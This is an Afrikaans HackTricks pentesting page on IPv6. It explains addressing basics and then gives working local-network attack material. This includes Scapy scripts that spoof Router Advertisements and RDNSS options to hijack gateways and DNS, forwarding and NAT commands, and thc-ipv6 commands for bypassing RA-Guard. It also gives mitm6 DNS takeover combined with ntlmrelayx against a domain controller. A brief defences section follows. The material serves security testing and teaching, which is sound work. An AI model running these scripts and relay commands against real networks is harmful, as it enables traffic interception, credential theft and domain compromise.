Pentesting IPv6

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

IPv6 Basiese teorie

Netwerke

IPv6-adresse is gestruktureer om netwerkorganisasie en toestelinteraksie te verbeter. ’n IPv6-adres is verdeel in:

  1. Network Prefix: Die aanvanklike 48 bits, wat die netwerksegment bepaal.
  2. Subnet ID: Die volgende 16 bits, gebruik om spesifieke subnetwerke binne die netwerk te definieer.
  3. Interface Identifier: Die laaste 64 bits, wat ’n toestel uniek identifiseer binne die subnet.

Terwyl IPv6 die ARP-protokol wat in IPv4 voorkom weglê, stel dit ICMPv6 met twee hoofboodskappe bekend:

  • Neighbor Solicitation (NS): Multicast-boodskappe vir adresoplossing.
  • Neighbor Advertisement (NA): Unicast-antwoorde op NS of spontane aankondigings.

IPv6 bevat ook spesiale adressoorte:

  • Loopback Address (::1): Gelykstaande aan IPv4 se 127.0.0.1, vir interne kommunikasie binne die gasheer.
  • Link-Local Addresses (FE80::/10): Vir plaaslike netwerkaktiwiteite, nie vir internet-routering nie. Toestelle op dieselfde plaaslike netwerk kan mekaar ontdek met hierdie reeks.

Praktiese gebruik van IPv6 in netwerkopdragte

Om met IPv6-netwerke te kommunikeer, kan jy verskeie opdragte gebruik:

  • Ping Link-Local Addresses: Kontroleer die teenwoordigheid van plaaslike toestelle met ping6.
  • Neighbor Discovery: Gebruik ip neigh om toestelle wat op die linklaag ontdek is te sien.
  • alive6: ’n Alternatiewe hulpmiddel om toestelle op dieselfde netwerk te ontdek.

Hieronder volg ’n paar opdragvoorbeelde:

ping6 –I eth0 -c 5 ff02::1 > /dev/null 2>&1
ip neigh | grep ^fe80

# Alternatively, use alive6 for neighbor discovery
alive6 eth0

IPv6-adresse kan vanaf ’n toestel se MAC-adres afgelei word vir plaaslike kommunikasie. Hier is ’n vereenvoudigde gids oor hoe om die Link-local IPv6-adres van ’n bekende MAC-adres af te lei, en ’n kort oorsig van IPv6-adrestipes en metodes om IPv6-adresse binne ’n netwerk te ontdek.

Gegewe ’n MAC-adres 12:34:56:78:9a:bc, kan jy die Link-local IPv6-adres soos volg konstrueer:

  1. Skakel MAC om na IPv6-formaat: 1234:5678:9abc
  2. Voeg fe80:: vooraan en plaas fffe in die middel: fe80::1234:56ff:fe78:9abc
  3. Keer die sewende bit van links om, wat 1234 na 1034 verander: fe80::1034:56ff:fe78:9abc

IPv6-adrestipes

  • Unique Local Address (ULA): Vir plaaslike kommunikasie, nie bedoel vir openbare internet-roetering nie. Prefix: FEC00::/7
  • Multicast Address: Vir een-na-veel kommunikasie. Afgelewer aan alle interfaces in die multicast-groep. Prefix: FF00::/8
  • Anycast Address: Vir een-na-naaste kommunikasie. Gestuur na die naaste interface volgens die routeringsprotokol. Deel van die 2000::/3 global unicast range.

Adresvoorvoegsels

  • fe80::/10: Link-Local addresses (vergelykbaar met 169.254.x.x)
  • fc00::/7: Unique Local-Unicast (vergelykbaar met private IPv4-bereike soos 10.x.x.x, 172.16.x.x, 192.168.x.x)
  • 2000::/3: Global Unicast
  • ff02::1: Multicast All Nodes
  • ff02::2: Multicast Router Nodes

IPv6-adresse binne ’n netwerk ontdek

  1. Verkry die MAC-adres van ’n toestel binne die netwerk.
  2. Lei die Link-local IPv6-adres af vanaf die MAC-adres.

Manier 2: Gebruik van Multicast

  1. Stuur ’n ping na die multicast-adres ff02::1 om IPv6-adresse op die plaaslike netwerk te ontdek.
service ufw stop # Stop the firewall
ping6 -I <IFACE> ff02::1 # Send a ping to multicast address
ip -6 neigh # Display the neighbor table

IPv6 Man-in-the-Middle (MitM) Attacks

Verskeie tegnieke bestaan om MitM attacks in IPv6-netwerke uit te voer, soos:

  • Spoofing ICMPv6 neighbor or router advertisements.
  • Using ICMPv6 redirect or “Packet Too Big” messages om routing te manipuleer.
  • Attacking mobile IPv6 (gewoonlik vereis dat IPSec gedeaktiveer is).
  • Setting up ’n rogue DHCPv6 server.

Identifisering van IPv6-adresse in die eild

Verkenning van subdomeine

’n Metode om subdomeine te vind wat moontlik aan IPv6-adresse gekoppel is, behels die gebruik van soekenjins. Byvoorbeeld, die gebruik van ’n navraagpatroon soos ipv6.* kan effektief wees. Konkreet, die volgende soekopdrag kan in Google gebruik word:

site:ipv6./

Gebruik van DNS-navrae

Om IPv6-adresse te identifiseer, kan sekere DNS-rekordtipes bevraagteken word:

  • AXFR: Vra ’n volledige zone-oordrag aan, wat moontlik ’n wye reeks DNS-rekorde kan openbaar.
  • AAAA: Soek direk na IPv6-adresse.
  • ANY: ’n Breë navraag wat alle beskikbare DNS-rekorde teruggee.

Proewe met ping6

Nadat jy IPv6-adresse wat met ’n organisasie geassosieer is geïdentifiseer het, kan die ping6-hulpmiddel vir peiling gebruik word. Dit help om die reaksievermoë van die geïdentifiseerde IPv6-adresse te bepaal en kan ook help om aangrensende IPv6-toestelle te ontdek.

IPv6 Plaaslike Netwerk-aanvalstegnieke

Die volgende afdelings dek praktiese layer-2 IPv6-aanvalle wat binne dieselfde /64-segment uitgevoer kan word sonder om enige globale prefix te ken. Al die pakkette wat hieronder gewys word is link-local en reis slegs deur die plaaslike skakelaar, wat dit in die meeste omgewings uiters onopvallend maak.

Stelselafstelling vir ’n stabiele lab

Voordat jy met IPv6-verkeer eksperimenteer, word dit aanbeveel om jou stelsel te verhard om te voorkom dat jou eie toetse dit beïnvloed, en om die beste prestasie tydens massiewe packet injection/sniffing te verkry.

# Enable promiscuous mode to capture all frames
sudo ip link set dev eth0 promisc on

# Ignore rogue Router Advertisements & Redirects coming from the segment
sudo sysctl -w net.ipv6.conf.all.accept_ra=0
sudo sysctl -w net.ipv6.conf.all.accept_redirects=0

# Increase fd / backlog limits when generating lots of traffic
sudo sysctl -w fs.file-max=100000
sudo sysctl -w net.core.somaxconn=65535
sudo sysctl -w net.ipv4.tcp_tw_reuse=1

Passiewe NDP & DHCPv6 Sniffing

Omdat elke IPv6-host outomaties by verskeie multicast-groepe aansluit (ff02::1, ff02::2, …) en ICMPv6 gebruik vir SLAAC/NDP, kan jy die hele segment karteer sonder om ’n enkele pakket te stuur. Die volgende Python/Scapy one-liner luister na die mees interessante L2-boodskappe en druk ’n ingekleurde, met tydstempel gemerkte log van wie wie is:

#!/usr/bin/env python3
from scapy.all import *
from scapy.layers.dhcp6 import *
from datetime import datetime
from colorama import Fore, Style, init
import argparse

init(autoreset=True)

# Human-readable names for protocols we care about
DHCP6_TYPES = {
DHCP6_Solicit:    'Solicit',
DHCP6_Advertise:  'Advertise',
DHCP6_Request:    'Request',
DHCP6_Reply:      'Reply',
DHCP6_Renew:      'Renew',
DHCP6_Rebind:     'Rebind',
DHCP6_RelayForward:'Relay-Forward',
DHCP6_RelayReply: 'Relay-Reply'
}
ICMP6_TYPES = {
ICMPv6ND_RS:      ('Router Solicitation',  Fore.CYAN),
ICMPv6ND_RA:      ('Router Advertisement', Fore.GREEN),
ICMPv6ND_NS:      ('Neighbor Solicitation',Fore.BLUE),
ICMPv6ND_NA:      ('Neighbor Advertisement',Fore.MAGENTA),
ICMPv6ND_Redirect:('Redirect',             Fore.LIGHTRED_EX),
ICMPv6MLReport:   ('MLD Report',           Fore.LIGHTCYAN_EX),
ICMPv6MLReport2:  ('MLD Report',           Fore.LIGHTCYAN_EX),
ICMPv6MLDone:     ('MLD Done',             Fore.LIGHTCYAN_EX),
ICMPv6EchoRequest:('Echo Request',         Fore.LIGHTBLACK_EX),
ICMPv6EchoReply:  ('Echo Reply',           Fore.LIGHTBLACK_EX)
}

def handler(pkt):
eth_src = pkt[Ether].src if Ether in pkt else '?'
eth_dst = pkt[Ether].dst if Ether in pkt else '?'
ip6_src = pkt[IPv6].src if IPv6 in pkt else '?'
ip6_dst = pkt[IPv6].dst if IPv6 in pkt else '?'

# Identify protocol family first
for proto,(desc,color) in ICMP6_TYPES.items():
if proto in pkt:
break
else:
if UDP in pkt and pkt[UDP].dport == 547:  # DHCPv6 server port
for dhcp_t,name in DHCP6_TYPES.items():
if dhcp_t in pkt:
desc = 'DHCPv6 – '+name; color = Fore.YELLOW; break
else:
return  # not a DHCPv6 message we track
else:
return  # not interesting

print(color + f"[{datetime.now().strftime('%H:%M:%S')}] {desc}")
print(f"  MAC  {eth_src} -> {eth_dst}")
print(f"  IPv6 {ip6_src} -> {ip6_dst}")
print('-'*60)

if __name__ == '__main__':
argp = argparse.ArgumentParser(description='IPv6 NDP & DHCPv6 sniffer')
argp.add_argument('-i','--interface',required=True,help='Interface to sniff')
argp.add_argument('-t','--time',type=int,default=0,help='Duration (0 = infinite)')
a = argp.parse_args()
sniff(iface=a.interface,prn=handler,timeout=a.time or None,store=0)

Resultaat: ’n volledige link-local topology (MAC ⇄ IPv6) in enkele sekondes, sonder om IPS/IDS-stelsels te ontlok wat op aktiewe skanderings staatmaak.

Router Advertisement (RA) Spoofing

IPv6-gastoestelle vertrou op ICMPv6 Router Advertisements vir die ontdekking van die standaard-gateway. Indien jy vervalste RAs meer gereeld stuur as die legitieme router, sal toestelle stilweg na jou as die gateway oorskakel.

#!/usr/bin/env python3
from scapy.all import *
import argparse

p = argparse.ArgumentParser()
p.add_argument('-i','--interface',required=True)
p.add_argument('-m','--mac',required=True,help='Source MAC (will be put in SrcLL option)')
p.add_argument('--llip',required=True,help='Link-local source IP, e.g. fe80::dead:beef')
p.add_argument('-l','--lifetime',type=int,default=1800,help='Router lifetime')
p.add_argument('--interval',type=int,default=5,help='Seconds between RAs')
p.add_argument('--revert',action='store_true',help='Send lifetime=0 to undo attack')
args = p.parse_args()

lifetime = 0 if args.revert else args.lifetime
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
ICMPv6ND_RA(routerlifetime=lifetime, prf=0x1)/  # High preference
ICMPv6NDOptSrcLLAddr(lladdr=args.mac))

send(ra,iface=args.interface,loop=1,inter=args.interval)

Om eintlik forward traffic te stuur nadat jy die wedloop gewen het:

sudo sysctl -w net.ipv6.conf.all.forwarding=1
sudo ip6tables -A FORWARD -i eth0 -j ACCEPT
sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

Router Advertisement-vlagte (M/O) & Verstek Router-Voorkeur (Prf)

VlagBetekenisEffek op kliëntgedrag
M (Managed Address Configuration)Gee aan dat staatlike adressering via DHCPv6 op die segment beskikbaar is.Sterk aanduiding dat DHCPv6-spoofing kan werk.
O (Other Configuration)Gee aan dat hosts DHCPv6 moet gebruik vir ander parameters (DNS, NTP, …).Adres kom nog gewoonlik van SLAAC af, maar DNS kan met DHCPv6 gekaap word.
M=0 / O=0Suiwer SLAAC-netwerk.DHCPv6 mag dalk nooit verskyn nie; fokus op rogue RA / RDNSS in plaas van mitm6.
M=1 / O=1Gemengde omgewing.Beide DHCPv6- en SLAAC-inligting kan koëksisteer; die spoofing-oppervlak is die grootste.

Tydens ’n pentest kan jy eenvoudig die legitieme RA een keer inspekteer en besluit watter vektor haalbaar is:

sudo tcpdump -vvv -i eth0 'icmp6 && ip6[40] == 134'   # capture Router Advertisements

Soek die flags [M,O] veld in die dump – geen raaiery nodig nie.

Die Prf (Router Preference) veld binne die RA header beheer hoe aantreklik jou rogue router lyk wanneer meerdere gateways teenwoordig is:

Prf waardeBinêrBetekenis
Hoë10Kliente verkies hierdie router bo enige Medium/Lae een
Medium (standaard)01Word deur byna elke legitieme toestel gebruik
Lae00Gekies slegs wanneer geen beter router bestaan nie

Wanneer jy die pakket met Scapy genereer, kan jy dit instel deur die prf parameter soos hierbo getoon (prf=0x1 → Hoë). Die kombinasie van Hoë Prf, ’n kort interval, en ’n nie-nul leeftyd maak jou rogue gateway buitengewoon stabiel.


RDNSS (DNS) Spoofing via RA

RFC 8106 laat toe om ’n Recursive DNS Server (RDNSS) opsie binne ’n RA by te voeg. Dit is die go-to DNS hijack primitive wanneer die segment SLAAC-only (M=0 / O=0) is en kliente nie met DHCPv6 kommunikeer nie. Klientondersteuning is implementation-dependent, so valideer die teiken-OS in die lab eerder as om aan te neem dat RDNSS universeel gebruik sal word.

#!/usr/bin/env python3
from scapy.all import *
import argparse

p = argparse.ArgumentParser()
P = p.add_argument
P('-i','--interface',required=True)
P('--llip',required=True)
P('--dns',required=True,help='Fake DNS IPv6')
P('--lifetime',type=int,default=600)
P('--interval',type=int,default=5)
args = p.parse_args()

ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
ICMPv6ND_RA(routerlifetime=0)/
ICMPv6NDOptRDNSS(dns=[args.dns],lifetime=args.lifetime))

send(ra,iface=args.interface,loop=1,inter=args.interval)

Dieselfde pakket kan ook ’n DNSSL-opsie dra om kortnaam-oplossingspaaie in IPv6-only of dual-stack omgewings te vergiftig waar soekdomeine saak maak. As jy die aanval skoon stop, stuur ’n revert RA met dieselfde opsie en lifetime=0.

RA-Guard-omseiling in die praktyk

RFC 7113 dokumenteer waarom simplistiese RA-Guard-implementasies omseilbaar is wanneer hulle nie die volledige IPv6-kopketting kan ontleed nie of by fragmente oopbly. Dit is nie nuwe navorsing nie, maar dit is steeds operationeel relevant omdat baie access switches slegs gedeeltelike filtrering implementeer.

Onlangse thc-ipv6 builds wys dit direk in die tooling:

# Hop-by-Hop header before the RA
sudo atk6-fake_router6 -H eth0 2001:db8:1337::/64

# Fragmentation / destination-options variants against weak RA-Guard
sudo atk6-fake_router6 -F eth0 2001:db8:1337::/64
sudo atk6-fake_router6 -D eth0 2001:db8:1337::/64

# Flooded variant with full RA-Guard evasion and DHCPv6 flags set
sudo atk6-flood_router26 -F -m eth0

Gebruik hierdie slegs nadat jy bevestig het dat ’n normale vervalste RA gefilter word. As -H/-D/-F skielik veroorsaak dat hosts jou rogue router aanvaar, het jy bewyse dat die switch slegs op die vaste IPv6-kop pas in plaas van op die werklike ICMPv6 RA payload.

DHCPv6 DNS Spoofing (mitm6)

Wanneer die wettige RA M en/of O adverteer, stuur Windows-kliente gewoonlik DHCPv6-versoeke vir adres of bykomende konfigurasie. mitm6 misbruik daardie gedrag deur op DHCPv6 te antwoord en jou link-local IPv6 as DNS in te voeg met ’n kort lease. Dit ontsluit:

  • NTLM relay attacks (WPAD + DNS hijacking)
  • Intersep interne naamoplossing sonder om routers aan te raak
  • Lae-ruis teiken aangesien jy die poisoning na spesifieke hosts of domeine kan beperk

Tipiese gebruik:

# DNS takeover without sending rogue RAs
sudo mitm6 -i eth0 --no-ra -d corp.local --host-allowlist wsus

# Pair it with IPv6-capable relay listeners
sudo ntlmrelayx.py -6 -t ldaps://dc.corp.local -wh wpad

Nuttige besonderhede van die huidige mitm6-weergawes:

  • --no-ra beperk die aanval tot slegs DHCPv6 wanneer die netwerk rogue RAs ontdek.
  • -d/--domain en --host-allowlist hou poisoning beperk in plaas daarvan om elke query op die segment te kap.
  • --ignore-nofqdn verminder geraas van kliënte wat die DHCPv6 FQDN-opsie weglaat.

As die segment suiwer SLAAC (M=0 / O=0) is, is mitm6 gewoonlik die verkeerde primitive. Gebruik rogue RAs / RDNSS eerder, en hou die hoërvlak relay-logika in the WPAD/relay page.

Verdedigings

  • RA Guard / DHCPv6 Guard / ND Inspection op bestuurde switches.
  • Port ACLs wat slegs die legitieme router se MAC toelaat om RAs te stuur.
  • Monitor vir onverwagte hoë-tempo RAs of skielike RDNSS-veranderings.
  • Om IPv6 op endpoints uit te skakel is ’n tydelike oplossing wat dikwels moderne dienste breek en blinde kolle wegsteek – gebruik eerder L2-filtering.

NDP Router Discovery on Guest/Public SSIDs and Management Service Exposure

Baie verbruikersrouters openbaar bestuursdaemons (HTTP(S), SSH/Telnet, TR-069, ens.) op alle interfaces. In sommige implementasies is die “guest/public” SSID aan die WAN/core gebridge en is dit slegs IPv6. Selfs al verander die router se IPv6 by elke opstart, kan jy dit betroubaar leer deur NDP/ICMPv6 te gebruik en dan direk te koppel na die bestuurvlak vanaf die guest SSID.

Tipiese werkvloei vanaf ’n kliënt wat aan die guest/public SSID gekoppel is:

  1. Ontdek die router via ICMPv6 Router Solicitation na die All-Routers multicast ff02::2 en vang die Router Advertisement (RA):
# Listen for Router Advertisements (ICMPv6 type 134)
sudo tcpdump -vvv -i <IFACE> 'icmp6 and ip6[40]==134'

# Provoke an RA by sending a Router Solicitation to ff02::2
python3 - <<'PY'
from scapy.all import *
send(IPv6(dst='ff02::2')/ICMPv6ND_RS(), iface='<IFACE>')
PY

Die RA openbaar die router se link-local en dikwels ’n globale adres/prefix. As slegs ’n link-local bekend is, onthou dat verbindings die sone-indeks moet spesifiseer, bv. ssh -6 admin@[fe80::1%wlan0].

Alternatief: gebruik die ndisc6 suite indien beskikbaar:

# rdisc6 sends RS and prints RAs in a friendly way
rdisc6 <IFACE>
  1. Bereik blootgestelde dienste oor IPv6 vanaf die gaste-SSID:
# SSH/Telnet example (replace with discovered address)
ssh -6 admin@[2001:db8:abcd::1]
# Web UI over IPv6
curl -g -6 -k 'http://[2001:db8:abcd::1]/'
# Fast IPv6 service sweep
nmap -6 -sS -Pn -p 22,23,80,443,7547 [2001:db8:abcd::1]
  1. As die bestuursskalk ’n pakket-opname hulpmiddel via ’n wrapper (bv. tcpdump) bied, kyk vir argument-/lêernaaminspuiting wat toelaat om ekstra tcpdump-vlagte soos -G/-W/-z deur te gee om post-rotate-opdraguitvoering te bewerkstellig. Sien:

Wildcards Spare tricks

Verdedigings/notas:

  • Moet bestuur nie aan gaste-/openbare brue bind nie; pas IPv6-firewalls op SSID-brue toe.
  • Pas tariefbeperking toe en filter NDP/RS/RA op gaste-segmente waar haalbaar.
  • Vir dienste wat bereikbaar moet wees, dwing authN/MFA en sterk tariefbeperkings af.

Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks